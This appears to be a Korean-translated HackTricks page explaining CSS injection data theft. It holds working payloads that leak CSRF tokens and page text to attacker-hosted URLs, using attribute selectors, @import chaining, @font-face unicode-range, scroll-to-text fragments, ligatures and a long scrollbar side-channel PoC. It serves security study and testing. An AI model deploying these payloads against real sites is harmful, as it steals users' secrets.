CSS Injection
Reading time: 19 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
CSS Injection
Attribute Selector
CSS 선택자는 input
요소의 name
및 value
속성의 값을 일치시키도록 작성됩니다. 입력 요소의 값 속성이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
그러나 이 접근 방식은 숨겨진 입력 요소(type="hidden"
)를 처리할 때 제한에 직면합니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다.
숨겨진 요소 우회
이 제한을 우회하기 위해, ~
일반 형제 결합기를 사용하여 후속 형제 요소를 타겟팅할 수 있습니다. 그러면 CSS 규칙이 숨겨진 입력 요소 뒤에 있는 모든 형제에게 적용되어 배경 이미지가 로드됩니다:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
이 기술을 활용한 실제 예시는 제공된 코드 스니펫에 자세히 설명되어 있습니다. 여기서 확인할 수 있습니다.
CSS 인젝션을 위한 전제 조건
CSS 인젝션 기술이 효과적이기 위해서는 특정 조건이 충족되어야 합니다:
- 페이로드 길이: CSS 인젝션 벡터는 제작된 선택자를 수용할 수 있도록 충분히 긴 페이로드를 지원해야 합니다.
- CSS 재평가: 새로 생성된 페이로드로 CSS의 재평가를 트리거하기 위해 페이지를 프레임할 수 있어야 합니다.
- 외부 리소스: 이 기술은 외부 호스팅된 이미지를 사용할 수 있는 능력을 전제로 합니다. 이는 사이트의 콘텐츠 보안 정책(CSP)에 의해 제한될 수 있습니다.
블라인드 속성 선택자
이 게시물에서 설명된 바와 같이, **:has
**와 :not
선택자를 결합하여 블라인드 요소에서조차 콘텐츠를 식별할 수 있습니다. 이는 CSS 인젝션을 로드하는 웹 페이지의 내용이 무엇인지 전혀 모를 때 매우 유용합니다.
또한 이러한 선택자를 사용하여 동일한 유형의 여러 블록에서 정보를 추출할 수도 있습니다:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
이것을 다음 @import 기술과 결합하면, **blind-css-exfiltration**를 사용하여 블라인드 페이지에서 많은 정보를 유출할 수 있습니다.
@import
이전 기술에는 몇 가지 단점이 있으므로, 전제 조건을 확인해야 합니다. 희생자에게 여러 링크를 전송할 수 있어야 하거나, CSS 주입 취약 페이지를 iframe으로 삽입할 수 있어야 합니다.
그러나 **CSS @import
**를 사용하여 기술의 품질을 향상시키는 또 다른 영리한 기술이 있습니다.
이 기술은 Pepe Vila에 의해 처음 소개되었으며, 다음과 같이 작동합니다:
같은 페이지를 매번 수십 개의 다른 페이로드로 반복해서 로드하는 대신(이전 기술처럼), 페이지를 한 번만 로드하고 공격자의 서버로의 임포트만 사용합니다(이것이 희생자에게 전송할 페이로드입니다):
@import url("//attacker.com:5001/start?");
- 가져오는 것은 공격자로부터 CSS 스크립트를 수신할 것이고 브라우저는 이를 로드할 것입니다.
- 공격자가 보낼 CSS 스크립트의 첫 번째 부분은 다시 공격자의 서버에 대한 또 다른
@import
입니다. - 공격자의 서버는 이 요청에 응답하지 않을 것이며, 일부 문자를 유출한 다음 이 가져오기에 페이로드를 응답하여 다음 문자를 유출할 것입니다.
- 페이로드의 두 번째이자 더 큰 부분은 속성 선택자 유출 페이로드가 될 것입니다.
- 이는 공격자의 서버에 비밀의 첫 번째 문자와 마지막 문자를 보낼 것입니다.
- 공격자의 서버가 비밀의 첫 번째 문자와 마지막 문자를 수신하면, 2단계에서 요청된 가져오기에 응답할 것입니다.
- 응답은 2, 3 및 4단계와 정확히 동일할 것이지만, 이번에는 비밀의 두 번째 문자와 그 다음 마지막 문자를 찾으려고 할 것입니다.
공격자는 비밀을 완전히 유출할 때까지 그 루프를 따를 것입니다.
원본 Pepe Vila의 이 코드를 여기서 찾아보세요 또는 거의 같은 코드지만 주석이 달린 것을 여기서 찾을 수 있습니다.
note
스크립트는 매번 2개의 문자를 발견하려고 시도합니다 (시작 부분과 끝 부분) 왜냐하면 속성 선택자가 다음과 같은 작업을 가능하게 하기 때문입니다:
/* value^= 값의 시작 부분과 일치 */
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= 값의 끝 부분과 일치 */
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
이는 스크립트가 비밀을 더 빠르게 유출할 수 있게 합니다.
warning
때때로 스크립트는 접두사 + 접미사로 발견된 것이 이미 전체 플래그임을 올바르게 감지하지 못하고 계속 진행합니다 (접두사에서) 및 뒤로 (접미사에서) 진행하며 어느 시점에서 멈출 수 있습니다.
걱정하지 마세요, 출력을 확인하면 거기에서 플래그를 볼 수 있습니다.
다른 선택자
CSS 선택자로 DOM 부분에 접근하는 다른 방법:
.class-to-search:nth-child(2)
: 이는 DOM에서 "class-to-search" 클래스를 가진 두 번째 항목을 검색합니다.:empty
선택자: 예를 들어 이 글에서 사용됩니다:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
오류 기반 XS-Search
참조: CSS 기반 공격: @font-face의 unicode-range 악용, @terjanq의 오류 기반 XS-Search PoC
전반적인 의도는 제어된 엔드포인트에서 사용자 정의 글꼴을 사용하고 지정된 리소스(favicon.ico
)를 로드할 수 없는 경우에만 이 글꼴로 텍스트('A')가 표시되도록 하는 것입니다.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- 커스텀 폰트 사용:
- 커스텀 폰트는
<head>
섹션의<style>
태그 내에서@font-face
규칙을 사용하여 정의됩니다. - 폰트 이름은
poc
이며 외부 엔드포인트(http://attacker.com/?leak
)에서 가져옵니다. unicode-range
속성은 특정 유니코드 문자 'A'를 타겟으로 하여U+0041
로 설정됩니다.
- 대체 텍스트가 있는 Object 요소:
<body>
섹션에id="poc0"
인<object>
요소가 생성됩니다. 이 요소는http://192.168.0.1/favicon.ico
에서 리소스를 로드하려고 시도합니다.- 이 요소의
font-family
는<style>
섹션에서 정의된'poc'
로 설정됩니다. - 리소스(
favicon.ico
) 로드에 실패할 경우,<object>
태그 내의 대체 콘텐츠(문자 'A')가 표시됩니다. - 외부 리소스를 로드할 수 없는 경우 대체 콘텐츠('A')는 커스텀 폰트
poc
를 사용하여 렌더링됩니다.
스크롤-투-텍스트 프래그먼트 스타일링
:target
의사 클래스는 URL 프래그먼트에 의해 타겟팅된 요소를 선택하는 데 사용됩니다. 이는 CSS Selectors Level 4 specification에서 명시되어 있습니다. ::target-text
는 텍스트가 프래그먼트에 의해 명시적으로 타겟팅되지 않는 한 어떤 요소와도 일치하지 않는다는 점을 이해하는 것이 중요합니다.
공격자가 스크롤-투-텍스트 프래그먼트 기능을 악용할 때 보안 문제가 발생하며, 이를 통해 HTML 주입을 통해 자신의 서버에서 리소스를 로드하여 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있습니다. 이 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:
:target::before {
content: url(target.png);
}
이러한 시나리오에서 "Administrator"라는 텍스트가 페이지에 존재하면, 리소스 target.png
가 서버에서 요청되어 텍스트의 존재를 나타냅니다. 이 공격의 한 예는 주입된 CSS와 함께 Scroll-to-text 조각을 포함하는 특별히 제작된 URL을 통해 실행될 수 있습니다:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
여기서 공격은 HTML 주입을 조작하여 CSS 코드를 전송하며, "Administrator"라는 특정 텍스트를 목표로 합니다. Scroll-to-text fragment (#:~:text=Administrator
)를 통해 텍스트가 발견되면, 지정된 리소스가 로드되어 공격자에게 그 존재를 무심코 알리게 됩니다.
완화를 위해 다음 사항을 유의해야 합니다:
- 제한된 STTF 매칭: Scroll-to-text Fragment (STTF)는 단어 또는 문장만 매칭하도록 설계되어, 임의의 비밀이나 토큰이 유출될 수 있는 능력을 제한합니다.
- 최상위 브라우징 컨텍스트로 제한: STTF는 오직 최상위 브라우징 컨텍스트에서만 작동하며, iframe 내에서는 작동하지 않아, 어떤 악용 시도가 사용자에게 더 눈에 띄게 됩니다.
- 사용자 활성화 필요: STTF는 작동하기 위해 사용자 활성화 제스처가 필요하므로, 악용은 사용자 주도 탐색을 통해서만 가능하다는 의미입니다. 이 요구 사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 게시물의 저자는 공격 자동화를 용이하게 할 수 있는 특정 조건과 우회 방법(예: 사회 공학, 널리 사용되는 브라우저 확장과의 상호작용)을 지적합니다.
이러한 메커니즘과 잠재적 취약성에 대한 인식은 웹 보안을 유지하고 이러한 착취 전술로부터 보호하는 데 핵심적입니다.
자세한 정보는 원본 보고서를 확인하세요: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
이 기술을 사용한 CTF용 익스플로잇을 여기서 확인할 수 있습니다.
@font-face / unicode-range
특정 유니코드 값에 대해 외부 글꼴을 지정할 수 있으며, 해당 유니코드 값이 페이지에 존재할 경우에만 수집됩니다. 예를 들어:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
이 기술은 글꼴 리가처를 이용하여 노드에서 텍스트를 추출하고 너비 변화를 모니터링하는 것을 포함합니다. 이 과정은 여러 단계로 이루어집니다:
- 커스텀 폰트 생성:
- SVG 폰트는 두 문자 시퀀스를 나타내는 글리프에 대해 큰 너비를 설정하는
horiz-adv-x
속성을 가진 글리프를 사용하여 제작됩니다. - 예시 SVG 글리프:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, 여기서 "XY"는 두 문자 시퀀스를 나타냅니다. - 이러한 폰트는 fontforge를 사용하여 woff 형식으로 변환됩니다.
- 너비 변화 감지:
- CSS를 사용하여 텍스트가 줄 바꿈되지 않도록 하고(
white-space: nowrap
), 스크롤바 스타일을 사용자 정의합니다. - 특정 리가처, 즉 특정 문자 시퀀스가 텍스트에 존재함을 나타내는 지표(오라클)로서 독특하게 스타일링된 수평 스크롤바의 출현이 작용합니다.
- 관련된 CSS:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- 익스플로잇 과정:
- 1단계: 상당한 너비를 가진 문자 쌍에 대한 폰트를 생성합니다.
- 2단계: 큰 너비 글리프(문자 쌍에 대한 리가처)가 렌더링될 때를 감지하기 위해 스크롤바 기반의 트릭을 사용합니다.
- 3단계: 리가처를 감지하면, 감지된 쌍을 포함하고 앞이나 뒤에 문자를 추가하여 세 문자 시퀀스를 나타내는 새로운 글리프가 생성됩니다.
- 4단계: 세 문자 리가처의 감지가 수행됩니다.
- 5단계: 이 과정이 반복되어 전체 텍스트가 점진적으로 드러납니다.
- 최적화:
- 현재
<meta refresh=...
를 사용하는 초기화 방법은 최적이 아닙니다. - CSS
@import
트릭을 사용하는 더 효율적인 접근 방식이 익스플로잇의 성능을 향상시킬 수 있습니다.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
이 트릭은 이 Slackers thread에서 공개되었습니다. 텍스트 노드에서 사용되는 문자 집합은 브라우저에 설치된 기본 폰트를 사용하여 유출될 수 있습니다: 외부 또는 커스텀 폰트가 필요하지 않습니다.
이 개념은 애니메이션을 활용하여 div
의 너비를 점진적으로 확장하여 한 번에 하나의 문자가 텍스트의 '접미사' 부분에서 '접두사' 부분으로 전환되도록 하는 것입니다. 이 과정은 텍스트를 두 섹션으로 효과적으로 나눕니다:
- 접두사: 초기 줄.
- 접미사: 이후 줄.
문자의 전환 단계는 다음과 같이 나타납니다:
C
ADB
CA
DB
CAD
B
CADB
이 전환 동안, unicode-range 트릭이 사용되어 접두사에 새 문자가 추가될 때마다 이를 식별합니다. 이는 Comic Sans로 글꼴을 전환하여 이루어지며, 이는 기본 글꼴보다 눈에 띄게 더 커서 수직 스크롤바를 유발합니다. 이 스크롤바의 출현은 접두사에 새 문자가 존재함을 간접적으로 드러냅니다.
이 방법은 고유한 문자가 나타날 때 이를 감지할 수 있지만, 어떤 문자가 반복되었는지는 명시하지 않고 단지 반복이 발생했음을 나타냅니다.
note
기본적으로, unicode-range는 문자를 감지하는 데 사용되지만, 외부 폰트를 로드하고 싶지 않기 때문에 다른 방법을 찾아야 합니다.
문자가 발견되면, 미리 설치된 Comic Sans 폰트가 주어져 문자가 더 커지게 하고 스크롤 바를 유발하여 발견된 문자를 유출합니다.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
Reference: This is mentioned as an unsuccessful solution in this writeup
이 경우는 이전 경우와 매우 유사하지만, 이 경우의 목표는 특정 문자를 다른 문자보다 크게 만들어서 버튼과 같은 무언가를 숨기거나 로드되지 않을 이미지를 숨기는 것입니다. 따라서 우리는 행동(또는 행동의 부재)을 측정하고 특정 문자가 텍스트 안에 존재하는지 알 수 있습니다.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Reference: This is mentioned as an unsuccessful solution in this writeup
이 경우, 우리는 동일한 출처에서 가짜 글꼴을 로드하여 텍스트에 문자가 있는지 유출하려고 시도할 수 있습니다:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
일치하는 경우, 폰트는 /static/bootstrap.min.css?q=1
에서 로드됩니다. 비록 성공적으로 로드되지는 않지만, 브라우저는 이를 캐시해야 하며, 캐시가 없더라도 304 not modified 메커니즘이 있으므로, 응답은 다른 것들보다 더 빠를 것입니다.
그러나 캐시된 응답과 비캐시된 응답의 시간 차이가 충분히 크지 않으면, 이는 유용하지 않을 것입니다. 예를 들어, 저자는 다음과 같이 언급했습니다: 그러나 테스트 후, 첫 번째 문제는 속도가 그리 다르지 않다는 것이고, 두 번째 문제는 봇이 disk-cache-size=1
플래그를 사용한다는 것입니다. 이는 정말 사려 깊습니다.
텍스트 노드 유출 (III): 수백 개의 로컬 "폰트" 로딩 시간으로 charset 유출 (외부 자산 필요 없음)
참고: 이는 이 글에서 실패한 해결책으로 언급됩니다
이 경우, 일치할 때 동일한 출처에서 수백 개의 가짜 폰트를 로드하도록 CSS를 지정할 수 있습니다. 이렇게 하면 소요 시간을 측정하고 문자 발생 여부를 확인할 수 있습니다.
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
그리고 봇의 코드는 다음과 같습니다:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
그래서, 폰트가 일치하지 않으면 봇을 방문할 때 응답 시간은 약 30초가 될 것으로 예상됩니다. 그러나 폰트가 일치하면 폰트를 가져오기 위해 여러 요청이 전송되어 네트워크에 지속적인 활동이 발생합니다. 결과적으로 중지 조건을 만족하고 응답을 받는 데 더 오랜 시간이 걸릴 수 있습니다. 따라서 응답 시간을 폰트 일치 여부를 판단하는 지표로 사용할 수 있습니다.
References
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.